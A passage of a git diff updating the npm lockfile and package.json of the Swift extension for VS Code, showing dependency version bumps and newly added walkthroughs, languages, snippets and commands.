"vscode-languageserver-types": { + "version": "3.17.5", + "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.17.5.tgz", + "integrity": "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==" + }, + "vscode-oniguruma": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", + "integrity": "sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==", "dev": true }, - "vsce": { - "version": "2.9.1", - "resolved": "https://registry.npmjs.org/vsce/-/vsce-2.9.1.tgz", - "integrity": "sha512-l/X4hkoYgOoZhRYQpJXqexBJU2z4mzNywx+artzWnOV3v45YMM6IoDDtIcB9SWluobem476KmMPLkCdAdnvoOg==", + "vscode-textmate": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/vscode-textmate/-/vscode-textmate-7.0.4.tgz", + "integrity": "sha512-9hJp0xL7HW1Q5OgGe03NACo7yiCTMEk3WU/rtKXUbncLtdg6rVVNJnHwD88UhbIYU2KoxY0Dih0x+kIsmUKn2A==", + "dev": true + }, + "vscode-tmgrammar-test": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/vscode-tmgrammar-test/-/vscode-tmgrammar-test-0.1.3.tgz", + "integrity": "sha512-Wg6Pz+ePAT1O+F/A1Fc4wS5vY2X+HNtgN4qMdL+65NLQYd1/zdDWH4fhwsLjX8wTzeXkMy49Cr4ZqWTJ7VnVxg==", "dev": true, "requires": { - "azure-devops-node-api": "^11.0.1", + "bottleneck": "^2.19.5", "chalk": "^2.4.2", - "cheerio": "^1.0.0-rc.9", - "commander": "^6.1.0", - "glob": "^7.0.6", - "hosted-git-info": "^4.0.2", - "keytar": "^7.7.0", - "leven": "^3.1.0", - "markdown-it": "^12.3.2", - "mime": "^1.3.4", - "minimatch": "^3.0.3", - "parse-semver": "^1.1.1", - "read": "^1.0.7", - "semver": "^5.1.0", - "tmp": "^0.2.1", - "typed-rest-client": "^1.8.4", - "url-join": "^4.0.1", - "xml2js": "^0.4.23", - "yauzl": "^2.3.1", - "yazl": "^2.2.2" + "commander": "^9.2.0", + "diff": "^4.0.2", + "glob": "^7.1.6", + "vscode-oniguruma": "^1.5.1", + "vscode-textmate": "^7.0.1" }, "dependencies": { "ansi-styles": { @@ -6523,25 +20626,45 @@ "color-name": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true + }, + "diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", "dev": true }, "escape-string-regexp": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", "dev": true }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", "dev": true }, "supports-color": { @@ -6555,40 +20678,10 @@ } } }, - "vscode-jsonrpc": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/vscode-jsonrpc/-/vscode-jsonrpc-8.0.1.tgz", - "integrity": "sha512-N/WKvghIajmEvXpatSzvTvOIz61ZSmOSa4BRA4pTLi+1+jozquQKP/MkaylP9iB68k73Oua1feLQvH3xQuigiQ==" - }, - "vscode-languageclient": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/vscode-languageclient/-/vscode-languageclient-8.0.1.tgz", - "integrity": "sha512-9XoE+HJfaWvu7Y75H3VmLo5WLCtsbxEgEhrLPqwt7eyoR49lUIyyrjb98Yfa50JCMqF2cePJAEVI6oe2o1sIhw==", - "requires": { - "minimatch": "^3.0.4", - "semver": "^7.3.5", - "vscode-languageserver-protocol": "3.17.1" - } - }, - "vscode-languageserver-protocol": { - "version": "3.17.1", - "resolved": "https://registry.npmjs.org/vscode-languageserver-protocol/-/vscode-languageserver-protocol-3.17.1.tgz", - "integrity": "sha512-BNlAYgQoYwlSgDLJhSG+DeA8G1JyECqRzM2YO6tMmMji3Ad9Mw6AW7vnZMti90qlAKb0LqAlJfSVGEdqMMNzKg==", - "requires": { - "vscode-jsonrpc": "8.0.1", - "vscode-languageserver-types": "3.17.1" - } - }, - "vscode-languageserver-types": { - "version": "3.17.1", - "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.17.1.tgz", - "integrity": "sha512-K3HqVRPElLZVVPtMeKlsyL9aK0GxGQpvtAUTfX4k7+iJ4mc1M+JM+zQwkgGy2LzY0f0IAafe8MKqIkJrxfGGjQ==" - }, "which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, "requires": { "isexe": "^2.0.0" } @@ -6602,23 +20695,135 @@ "string-width": "^1.0.2 || 2 || 3 || 4" } }, - "word-wrap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "winston": { + "version": "3.18.3", + "resolved": "https://registry.npmjs.org/winston/-/winston-3.18.3.tgz", + "integrity": "sha512-NoBZauFNNWENgsnC9YpgyYwOVrl2m58PpQ8lNHjV3kosGs7KJ7Npk9pCUE+WJlawVSe8mykWDKWFSVfs3QO9ww==", + "dev": true, + "requires": { + "@colors/colors": "^1.6.0", + "@dabh/diagnostics": "^2.0.8", + "async": "^3.2.3", + "is-stream": "^2.0.0", + "logform": "^2.7.0", + "one-time": "^1.0.0", + "readable-stream": "^3.4.0", + "safe-stable-stringify": "^2.3.1", + "stack-trace": "0.0.x", + "triple-beam": "^1.3.0", + "winston-transport": "^4.9.0" + }, + "dependencies": { + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true + }, + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + } + } + }, + "winston-transport": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/winston-transport/-/winston-transport-4.9.0.tgz", + "integrity": "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A==", + "dev": true, + "requires": { + "logform": "^2.7.0", + "readable-stream": "^3.6.2", + "triple-beam": "^1.3.0" + }, + "dependencies": { + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + } + } + }, + "wordwrap": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", + "integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==", "dev": true }, "workerpool": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.2.0.tgz", - "integrity": "sha512-Rsk5qQHJ9eowMH28Jwhe8HEbmdYDX4lwoMWshiCXugjtHqMD9ZbiqSDLxcsfdqsETPzVUtX5s1Z5kStiIM6l4A==", + "version": "9.3.2", + "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-9.3.2.tgz", + "integrity": "sha512-Xz4Nm9c+LiBHhDR5bDLnNzmj6+5F+cyEAWPMkbs2awq/dYazR/efelZzUAjB/y3kNHL+uzkHvxVVpaOfGCPV7A==", "dev": true }, "wrap-ansi": { - "version": "7.0.0", + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", + "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", + "dev": true, + "requires": { + "ansi-styles": "^6.2.1", + "string-width": "^7.0.0", + "strip-ansi": "^7.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true + }, + "ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true + }, + "emoji-regex": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz", + "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==", + "dev": true + }, + "string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "requires": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + } + }, + "strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "requires": { + "ansi-regex": "^6.0.1" + } + } + } + }, + "wrap-ansi-cjs": { + "version": "npm:wrap-ansi@7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, "requires": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", @@ -6632,10 +20837,9 @@ "dev": true }, "xml2js": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.4.23.tgz", - "integrity": "sha512-ySPiMjM0+pLDftHgXY4By0uswI3SPKLDw/i3UXbnO8M/p28zqexCUoPmQFrYD+/1BzhGJSs2i1ERWKJAtiLrug==", - "dev": true, + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.6.2.tgz", + "integrity": "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA==", "requires": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" @@ -6646,6 +20850,12 @@ "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==" }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true + }, "y18n": { "version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", @@ -6655,27 +20865,34 @@ "yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "yaml": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.1.tgz", + "integrity": "sha512-lcYcMxX2PO9XMGvAJkJ3OsNMw+/7FKes7/hgerGUYWIoWu5j/+YQqcZr5JnPZWzOsEBgMbSbiSTn/dv/69Mkpw==", + "dev": true }, "yargs": { - "version": "16.2.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", - "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", "dev": true, "requires": { - "cliui": "^7.0.2", + "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", - "string-width": "^4.2.0", + "string-width": "^4.2.3", "y18n": "^5.0.5", - "yargs-parser": "^20.2.2" + "yargs-parser": "^21.1.1" } }, "yargs-parser": { - "version": "20.2.4", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz", - "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==", + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", "dev": true }, "yargs-unparser": { @@ -6714,6 +20931,52 @@ "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", "dev": true + }, + "zip-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-6.0.1.tgz", + "integrity": "sha512-zK7YHHz4ZXpW89AHXUPbQVGKI7uvkd3hzusTdotCg1UxyaVtg0zFJSTfW/Dq5f7OBBVnq6cZIaC8Ti4hb6dtCA==", + "requires": { + "archiver-utils": "^5.0.0", + "compress-commons": "^6.0.2", + "readable-stream": "^4.0.0" + }, + "dependencies": { + "buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "requires": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + } + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } + } + } + }, + "zod": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.5.tgz", + "integrity": "sha512-rcUUZqlLJgBC33IT3PNMgsCq6TzLQEG/Ei/KTCU0PedSWRMAXoOUN+4t/0H+Q8bdnLPdqUYnvboJT0bn/229qg==" } } } diff --git a/package.json b/package.json index e523706ec..c50122cf1 100644 --- a/package.json +++ b/package.json @@ -1,32 +1,259 @@ { - "name": "swift-lang", + "name": "swift-vscode", "displayName": "Swift", "description": "Swift Language Support for Visual Studio Code.", - "version": "0.7.0", - "publisher": "sswg", + "version": "2.16.0-dev", + "publisher": "swiftlang", "icon": "icon.png", "repository": { "type": "git", - "url": "https://github.com/swift-server/vscode-swift" + "url": "https://github.com/swiftlang/vscode-swift" }, "engines": { - "vscode": "^1.65.0" + "vscode": "^1.88.0" }, "categories": [ - "Programming Languages" + "Programming Languages", + "Debuggers", + "Snippets", + "Testing" ], "keywords": [ "swift", + "swiftlang", "sswg" ], - "preview": true, "activationEvents": [ "onLanguage:swift", - "workspaceContains:Package.swift" + "workspaceContains:**/Package.swift", + "workspaceContains:**/compile_commands.json", + "workspaceContains:**/compile_flags.txt", + "workspaceContains:**/buildServer.json", + "workspaceContains:**/.bsp/*.json", + "onDebugResolve:swift-lldb", + "onDebugResolve:swift" ], - "main": "./dist/extension.js", + "main": "./dist/src/extension.js", "contributes": { + "walkthroughs": [ + { + "id": "swift-welcome", + "title": "Get Started with Swift for VS Code", + "description": "Learn how to use the Swift extension for VS Code.", + "steps": [ + { + "id": "installing-mac", + "title": "Install Swift", + "description": "Swift is cross-platform! If you already have Xcode installed, you're ready to go. Otherwise, see the instructions to [install on macOS](https://www.swift.org/install).\n Swift is [open source](https://github.com/swiftlang) and community driven!\n Questions? Visit the [Swift forums](https://forums.swift.org/) or the [Swift extension GitHub page](https://github.com/swiftlang/vscode-swift) for help.", + "media": { + "markdown": "./assets/walkthrough/welcome.md" + }, + "when": "isMac" + }, + { + "id": "installing-linux", + "title": "Installing Swift", + "description": "Swift is cross-platform! See the instructions to [install on Linux](https://www.swift.org/install).\n Swift is [open source](https://github.com/swiftlang) and community driven!\n Questions? Visit the [Swift forums](https://forums.swift.org/) or the [Swift extension GitHub page](https://github.com/swiftlang/vscode-swift) for help.", + "media": { + "markdown": "./assets/walkthrough/welcome.md" + }, + "when": "isLinux" + }, + { + "id": "installing-windows", + "title": "Installing Swift", + "description": "Swift is cross-platform! See the instructions to [install on Windows](https://www.swift.org/install).\n Swift is [open source](https://github.com/swiftlang) and community driven!\n Questions? Visit the [Swift forums](https://forums.swift.org/) or the [Swift extension GitHub page](https://github.com/swiftlang/vscode-swift) for help.", + "media": { + "markdown": "./assets/walkthrough/welcome.md" + }, + "when": "isWindows" + }, + { + "id": "creating-new-project", + "title": "Create a Swift project", + "description": "You can create a new Swift project with \n``Swift: Create New Project``\n in the Command Palette. \n[Try it out](command:swift.createNewProject)", + "media": { + "markdown": "assets/walkthrough/createNewProject.md" + } + }, + { + "id": "run-and-debug-executable", + "title": "Run and debug an executable", + "description": "You can run an executable from the Swift file, Command Palette or the Project Panel.", + "media": { + "markdown": "assets/walkthrough/runExecutable.md" + } + }, + { + "id": "testing", + "title": "Run tests", + "description": "Tests are automatically discovered in your project and added to the [Testing View](https://code.visualstudio.com/docs/debugtest/testing#_automatic-test-discovery-in-testing-view).\n Both [XCTest](https://developer.apple.com/documentation/xctest) and [Swift Testing](https://developer.apple.com/xcode/swift-testing/) tests are supported.", + "media": { + "markdown": "assets/walkthrough/runTests.md" + } + }, + { + "id": "documentation", + "title": "Preview DocC documentation", + "description": "Preview documentation written in [DocC](https://www.swift.org/documentation/docc/).", + "media": { + "markdown": "assets/walkthrough/previewDocs.md" + } + }, + { + "id": "swift-commands", + "title": "Swift commands", + "description": "Explore commands available in the Command Palette prefixed with ``> Swift:``\n See documentation for [available commands](https://docs.swift.org/vscode/documentation/userdocs/commands/). \n[Show Swift Commands](command:swift.showCommands)", + "media": { + "markdown": "assets/walkthrough/swiftCommands.md" + } + }, + { + "id": "selecting-toolchain", + "title": "Select a toolchain", + "description": "If you have more than one Swift toolchain installed you can switch between them with \n``Swift: Select Toolchain...``\n in the Command Palette.\n[Select Toolchain](command:swift.selectToolchain)", + "markdown": "", + "media": { + "markdown": "assets/walkthrough/swiftToolchains.md" + } + }, + { + "id": "customize", + "title": "Customize settings", + "description": "The Swift extensions contributes numerous settings that you can configure to customize how your project builds and how the extension operates.\n[Configure Swift Settings](command:swift.configureSettings)", + "media": { + "markdown": "assets/walkthrough/customizeSettings.md" + } + } + ] + } + ], + "icons": { + "swift-icon": { + "description": "The official icon for the Swift programming language", + "default": { + "fontPath": "assets/icons/icon-font.woff", + "fontCharacter": "\\E001" + } + }, + "swift-documentation": { + "description": "The icon for the Swift documentation preview editor", + "default": { + "fontPath": "assets/icons/icon-font.woff", + "fontCharacter": "\\E002" + } + }, + "swift-documentation-preview": { + "description": "The icon used as a button for showing the Swift documentation preview editor", + "default": { + "fontPath": "assets/icons/icon-font.woff", + "fontCharacter": "\\E003" + } + } + }, + "terminal": { + "profiles": [ + { + "title": "Swift", + "id": "swift.terminalProfile" + } + ] + }, + "languages": [ + { + "id": "swift", + "aliases": [ + "Swift" + ], + "extensions": [ + ".swiftinterface", + ".swift" + ] + }, + { + "id": "tutorial", + "aliases": [ + "Tutorial" + ], + "filenamePatterns": [ + "*.tutorial" + ] + }, + { + "id": "swift-gyb", + "aliases": [ + "Swift GYB" + ], + "extensions": [ + ".swift.gyb" + ], + "configuration": "./swift-gyb.language-configuration.json" + } + ], + "grammars": [ + { + "language": "swift-gyb", + "scopeName": "source.swift.gyb", + "path": "./syntaxes/swift-gyb.tmLanguage.json", + "embeddedLanguages": { + "meta.embedded.block.gyb": "python", + "meta.embedded.control.begin.gyb": "python", + "meta.embedded.expression.gyb": "python" + } + } + ], + "snippets": [ + { + "language": "swift", + "path": "./snippets/swift.code-snippets" + }, + { + "language": "swift", + "path": "./snippets/xctest.code-snippets" + }, + { + "language": "swift", + "path": "./snippets/swift-testing.code-snippets" + } + ], "commands": [ + { + "command": "swift.showCommands", + "title": "Show Commands", + "category": "Swift" + }, + { + "command": "swift.configureSettings", + "title": "Configure Settings", + "category": "Swift" + }, + { + "command": "swift.generateLaunchConfigurations", + "title": "Generate Launch Configurations", + "category": "Swift" + }, + { + "command": "swift.previewDocumentation", + "title": "Preview Documentation", + "category": "Swift", + "icon": "$(swift-documentation-preview)" + }, + { + "command": "swift.createNewProject", + "title": "Create New Project...", + "category": "Swift" + }, + { + "command": "swift.openEducationalNote", + "title": "Open Educational Note...", + "category": "Swift" + }, + { + "command": "swift.newFile", + "title": "Create New Swift File...", + "shortTitle": "Swift File", + "category": "Swift" + }, { "command": "swift.updateDependencies", "title": "Update Package Dependencies", @@ -39,11 +266,35 @@ "icon": "$(refresh)", "category": "Swift" }, + { + "command": "swift.flatDependenciesList", + "title": "Flat Dependencies List View", + "icon": "$(list-flat)", + "category": "Swift" + }, + { + "command": "swift.nestedDependenciesList", + "title": "Nested Dependencies List View", + "icon": "$(list-tree)", + "category": "Swift" + }, { "command": "swift.cleanBuild", - "title": "Clean Build", + "title": "Clean Build Folder", "category": "Swift" }, + { + "command": "swift.run", + "title": "Run Swift executable", + "category": "Swift", + "icon": "$(play)" + }, + { + "command": "swift.debug", + "title": "Debug Swift executable", + "category": "Swift", + "icon": "$(debug)" + }, { "command": "swift.resetPackage", "title": "Reset Package Dependencies", @@ -51,7 +302,7 @@ "category": "Swift" }, { - "command": "swift.runSingle", + "command": "swift.runScript", "title": "Run Swift Script", "category": "Swift" }, @@ -86,8 +337,151 @@ "category": "Swift" }, { - "command": "swift.runPlugin", - "title": "Run SwiftPM Plugin", + "command": "swift.restartLSPServer", + "title": "Restart LSP Server", + "category": "Swift" + }, + { + "command": "swift.reindexProject", + "title": "Re-Index Project", + "category": "Swift" + }, + { + "command": "swift.switchPlatform", + "title": "Select Target Platform...", + "category": "Swift" + }, + { + "command": "swift.selectToolchain", + "title": "Select Toolchain...", + "category": "Swift" + }, + { + "command": "swift.installSwiftlyToolchain", + "title": "Install Swiftly Toolchain...", + "category": "Swift" + }, + { + "command": "swift.installSwiftlySnapshotToolchain", + "title": "Install Swiftly Snapshot Toolchain...", + "category": "Swift" + }, + { + "command": "swift.runSnippet", + "title": "Run Swift Snippet", + "category": "Swift", + "icon": "$(play)" + }, + { + "command": "swift.debugSnippet", + "title": "Debug Swift Snippet", + "category": "Swift", + "icon": "$(debug)" + }, + { + "command": "swift.runPluginTask", + "title": "Run Command Plugin", + "category": "Swift" + }, + { + "command": "swift.insertFunctionComment", + "title": "Insert Function Comment", + "category": "Swift" + }, + { + "command": "swift.attachDebugger", + "title": "Attach to Process...", + "category": "Swift" + }, + { + "command": "swift.captureDiagnostics", + "title": "Capture Diagnostic Bundle", + "category": "Swift" + }, + { + "command": "swift.clearDiagnosticsCollection", + "title": "Clear Diagnostics Collection", + "category": "Swift" + }, + { + "command": "swift.runTestsMultipleTimes", + "title": "Run Multiple Times...", + "category": "Swift" + }, + { + "command": "swift.runTestsUntilFailure", + "title": "Run Until Failure...", + "category": "Swift" + }, + { + "command": "swift.debugTestsMultipleTimes", + "title": "Debug Multiple Times...", + "category": "Swift" + }, + { + "command": "swift.debugTestsUntilFailure", + "title": "Debug Until Failure...", + "category": "Swift" + }, + { + "command": "swift.pickProcess", + "title": "Pick Process...", + "category": "Swift" + }, + { + "command": "swift.runAllTestsParallel", + "title": "Run Tests in Parallel", + "category": "Test", + "icon": "$(testing-run-all-icon)" + }, + { + "command": "swift.runAllTests", + "title": "Run Tests", + "category": "Test", + "icon": "$(testing-run-icon)" + }, + { + "command": "swift.debugAllTests", + "title": "Debug Tests", + "category": "Test", + "icon": "$(testing-debug-icon)" + }, + { + "command": "swift.coverAllTests", + "title": "Run Tests with Coverage", + "category": "Test", + "icon": "$(debug-coverage)" + }, + { + "command": "swift.runTest", + "title": "Run Test", + "category": "Test", + "icon": "$(testing-run-icon)", + "enablement": "false" + }, + { + "command": "swift.debugTest", + "title": "Debug Test", + "category": "Test", + "icon": 